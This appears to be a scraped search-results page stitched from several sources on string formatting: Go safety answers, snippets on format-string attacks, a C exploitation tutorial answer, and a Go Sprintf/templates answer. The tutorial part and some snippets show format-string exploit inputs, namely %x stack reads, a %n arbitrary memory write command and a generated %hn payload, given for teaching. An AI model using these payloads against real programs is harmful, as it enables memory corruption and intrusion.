Many of the memory issues in C/C++ are related to null termination and buffer overflows. Golang lacks both of those. Strings are managed resources. Baring a compiler bug, it's not possible to terminate a string in such a way as to escape into the stack.

Take your example, as the example. Due to the variadic nature of the function, having a lot of input handlers with no handlers does not impact the code. As far as printf knows, the format string needs nothing replaced. Since you can't pass in anything destructive, even if your example took a dynamic value for ' a ...interface{}', you're protected by the compiler's string protecting code.

Answer from Virmundi on Stack Overflow
Top answer
1 of 2
3

Many of the memory issues in C/C++ are related to null termination and buffer overflows. Golang lacks both of those. Strings are managed resources. Baring a compiler bug, it's not possible to terminate a string in such a way as to escape into the stack.

Take your example, as the example. Due to the variadic nature of the function, having a lot of input handlers with no handlers does not impact the code. As far as printf knows, the format string needs nothing replaced. Since you can't pass in anything destructive, even if your example took a dynamic value for ' a ...interface{}', you're protected by the compiler's string protecting code.

2 of 2
1

tl;dr: Don't print untrusted data, escape it first. If in doubt or a hurry, use %q instead of %s.

Go's string formatting methods are, indeed, memory-safe, and the specific class of vulnerabilities you're worried about and which were so prevalent in C are not applicable.

However, it is not generally safe in any language to output untrusted, unsanitized input via any means without careful consideration. One well-known example of why is cross-site scripting. Less well-known than XSS attacks, however, are terminal escape sequence attacks.

Common terminals respond to a wide variety of escape sequences that can potentially do nasty things directly, or to help exploit another vulnerability. Attackers can include these sequences in messages to a targeted system - say, in the URL of a request to a webserver - and await an admin cating the logs or similar. This can also be used to hide information - including backspace sequences effectively hides whatever came before from view in a terminal.

  • The quickest option is to simply use %q instead of %s. This outputs the string as a Go string literal, suitable for use in Go source code. This is convenient and safe for printing, but if you're trying to match a specific format, may not be ideal. (strconv.Quote(s string) string will also perform the same operation directly).

  • This answer to another question has a more involved but easily customized option using strings.Map, however in the given form it removes all non-printable characters rather than escaping them.

One way or another, sanitize your output. You will save someone a lot of pain later, possibly yourself.

package main

import (
    "fmt"
    "strconv"
)

func main() {
    s := "a string with some control\x08\x08\x08\x08\x08\x08\x08hidden characters"

    // Prints with the control characters intact. Terminal output:
    // a string with some hidden characters
    fmt.Printf("%s\n", s)

    // Prints as Go string literal. Terminal output:
    // "a string with some control\b\b\b\b\b\b\bhidden characters"
    fmt.Printf("%q\n", s)

    // Prints as Go string literal, but without surrounding double-quotes.
    // Terminal output:
    // a string with some control\b\b\b\b\b\b\bhidden characters
    x := strconv.Quote(s)
    fmt.Printf("%s\n", x[1:len(x)-1])
}
🌐
GitHub
github.com › topics › format-string-attack
format-string-attack · GitHub Topics · GitHub
December 8, 2017 - Performing an exploit of Format String Vulnerability to leak information. Given a C compiled vulnerable software, with the help of reverse engineering and debugging; the attack had to be conducted to obtain dumb and smart leak of information.
🌐
Sourcery
sourcery.ai › vulnerabilities › go-lang-security-audit-database-string-formatted-query
SQL Injection via String Formatting in Go | Security Vulnerability Database | Sourcery
The vulnerable code uses string concatenation and fmt.Sprintf() to build SQL queries, allowing attackers to inject malicious SQL. The secure version uses parameterized queries with placeholders ($1, $2) that treat user input as data rather than ...
🌐
CVE Details
cvedetails.com › vulnerability-list › vendor_id-14185 › Golang.html
Golang : Security vulnerabilities, CVEs
Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime.
🌐
Reddit
reddit.com › r/golang › bad practice to have a string with a format specifier?
r/golang on Reddit: Bad practice to have a string with a format specifier?
February 28, 2023 -

I currently have a string like:

str := "Hello %s"

Later on, I'll use fmt.Sprintf() with this string to fill the format specifier, like so:

result := fmt.Sprintf(hello, "World")

I've never seen strings with format specifiers in them that weren't literals given to functions like Sprintf(). Is this generally bad practice? Or is it fine with the appropriate context?

🌐
GitHub
github.com › golang › vulndb › blob › master › doc › format.md
vulndb/doc/format.md at master · golang/vulndb
A short (<=100 characters) textual description of the vulnerability, usually of the form "PROBLEM in MODULE(s)", e.g: summary: "Man-in-the-middle attack in golang.org/x/crypto/ssh. To allow for easy visual differentiation, each report must have a unique summary. ... A textual description of the vulnerability and its impact. Should be wrapped to 80 columns. Does not use Markdown formatting.
Author   golang
🌐
Vickieli
vickieli.dev › binary exploitation › format-string-vulnerabilities
Format String Vulnerabilities - Vickie Li’s Security Blog
August 9, 2020 - Instead, pass user input as function arguments that replace format specifiers. ... And as an extra security measure, user input should always be sanitized and rid of dangerous characters. Seemingly harmless format functions can become a major source of vulnerabilities if not used correctly.
🌐
Google Groups
groups.google.com › d › msg › golang-nuts › Jd9tlNc6jUE › 6dLasvOs4nIJ
Secure Go binaries
April 30, 2012 - My claim is that Go is a different language than C. When you make one of these mistakes - read into a fixed-size buffer, write too much memory, use the wrong format string - in Go, that mistake does not lead to arbitrary memory corruption, and thus it cannot be leveraged into an exploitable ...
Find elsewhere
🌐
Exploit-DB
exploit-db.com › papers › 13239
Format Strings (Gotfault Security Community)
March 9, 2006 - Address to be overwritten : 0x08049748 Address to return : 0xbffffc2b Offset : 6 Let's run the builder to show us the format string against %n and %hn way. [xgc@knowledge:~/tools/formater]$ ./formater -n -l 0x08049748 -r 0xbffffc2b -o 6 -b 0 (3x%6$nF5x%7$n%9x%8$n2x%9$n [xgc@knowledge:~/tools/formater]$ ./formater -h -l 0x08049748 -r 0xbffffc2b -o 6 -b 0 %.64547u%6$hn%.50132u%7$hn [xgc@knowledge:~/tools/formater]$ Now let's run the vulnerable program with the builder as argument expected.
🌐
Datadog
docs.datadoghq.com › security › code_security › static_analysis › static_analysis_rules › go-best-practices › simplify-sprintf-with-string
fmt.Sprintf("%s", var) should not be used if var is a string
Type safety: When using fmt.Sprintf(), the compiler cannot check the correctness of the format specifiers and arguments. This can potentially lead to runtime errors or incorrect output if the format specifiers or arguments do not match.
🌐
GitHub
github.com › Inndy › formatstring-exploit
GitHub - Inndy/formatstring-exploit: Dead simple format string exploit payload generator
from fmtstr import FormatString fmt = FormatString(offset=6, written=8, bits=64) fmt[0x601040] = 'DEADBEEF' payload, sig = fmt.build() def dump(x): try: from hexdump import hexdump hexdump(x) except ImportError: import binascii, textwrap print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32))) dump(payload)
Starred by 24 users
Forked by 6 users
Languages   Python 100.0% | Python 100.0%
🌐
YouTube
youtube.com › watch
Exploiting Format String vulnerabilities tutorial - pwn106
Enjoy the videos and music you love, upload original content, and share it all with friends, family, and the world on YouTube.
🌐
Tripwire
tripwire.com › home › blog › vert vuln school: format string attacks 101
VERT Vuln School: Format String Attacks 101
March 22, 2015 - By tweaking our attack string to ... ... The fix for this vulnerability is pretty simple. User input data should not be passed to printf() as the format string....
🌐
Medium
infosecwriteups.com › exploiting-format-string-vulnerability-97e3d588da1b
EXPLOITING FORMAT STRING VULNERABILITY | by AidenPearce369 | InfoSec Write-ups
January 18, 2024 - A Format String attack can occur when an input string data is processed by a vulnerable function so that attacker can pass the formats to exploit the stack values with the help of format string functions/printf() family functions
🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
The printf in the first line will not interpret the “%s%s%s%s%s%s” in the input string, and the output will be: “Hello World %s%s%s%s%s%s” · The line printf(argv[1]); in the example is vulnerable, if you compile the program and run it:
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

Top answer
1 of 8
738

Sprintf is what you are looking for.

Example

fmt.Sprintf("foo: %s", bar)

You can also see it in use in the Errors example as part of "A Tour of Go."

return fmt.Sprintf("at %v, %s", e.When, e.What)
2 of 8
273

1. Simple strings

For "simple" strings (typically what fits into a line) the simplest solution is using fmt.Sprintf() and friends (fmt.Sprint(), fmt.Sprintln()). These are analogous to the functions without the starter S letter, but these Sxxx() variants return the result as a string instead of printing them to the standard output.

For example:

s := fmt.Sprintf("Hi, my name is %s and I'm %d years old.", "Bob", 23)

The variable s will be initialized with the value:

Hi, my name is Bob and I'm 23 years old.

Tip: If you just want to concatenate values of different types, you may not automatically need to use Sprintf() (which requires a format string) as Sprint() does exactly this. See this example:

i := 23
s := fmt.Sprint("[age:", i, "]") // s will be "[age:23]"

For concatenating only strings, you may also use strings.Join() where you can specify a custom separator string (to be placed between the strings to join).

Try these on the Go Playground.

2. Complex strings (documents)

If the string you're trying to create is more complex (e.g. a multi-line email message), fmt.Sprintf() becomes less readable and less efficient (especially if you have to do this many times).

For this the standard library provides the packages text/template and html/template. These packages implement data-driven templates for generating textual output. html/template is for generating HTML output safe against code injection. It provides the same interface as package text/template and should be used instead of text/template whenever the output is HTML.

Using the template packages basically requires you to provide a static template in the form of a string value (which may be originating from a file in which case you only provide the file name) which may contain static text, and actions which are processed and executed when the engine processes the template and generates the output.

You may provide parameters which are included/substituted in the static template and which may control the output generation process. Typical form of such parameters are structs and map values which may be nested.

Example:

For example let's say you want to generate email messages that look like this:

Hi [name]!

Your account is ready, your user name is: [user-name]

You have the following roles assigned:
[role#1], [role#2], ... [role#n]

To generate email message bodies like this, you could use the following static template:

const emailTmpl = `Hi {{.Name}}!

Your account is ready, your user name is: {{.UserName}}

You have the following roles assigned:
{{range $i, $r := .Roles}}{{if $i}}, {{end}}{{.}}{{end}}
`

And provide data like this for executing it:

data := map[string]interface{}{
    "Name":     "Bob",
    "UserName": "bob92",
    "Roles":    []string{"dbteam", "uiteam", "tester"},
}

Normally output of templates are written to an io.Writer, so if you want the result as a string, create and write to a bytes.Buffer (which implements io.Writer). Executing the template and getting the result as string:

t := template.Must(template.New("email").Parse(emailTmpl))
buf := &bytes.Buffer{}
if err := t.Execute(buf, data); err != nil {
    panic(err)
}
s := buf.String()

This will result in the expected output:

Hi Bob!

Your account is ready, your user name is: bob92

You have the following roles assigned:
dbteam, uiteam, tester

Try it on the Go Playground.

Also note that since Go 1.10, a newer, faster, more specialized alternative is available to bytes.Buffer which is: strings.Builder. Usage is very similar:

builder := &strings.Builder{}
if err := t.Execute(builder, data); err != nil {
    panic(err)
}
s := builder.String()

Try this one on the Go Playground.

Note: you may also display the result of a template execution if you provide os.Stdout as the target (which also implements io.Writer):

t := template.Must(template.New("email").Parse(emailTmpl))
if err := t.Execute(os.Stdout, data); err != nil {
    panic(err)
}

This will write the result directly to os.Stdout. Try this on the Go Playground.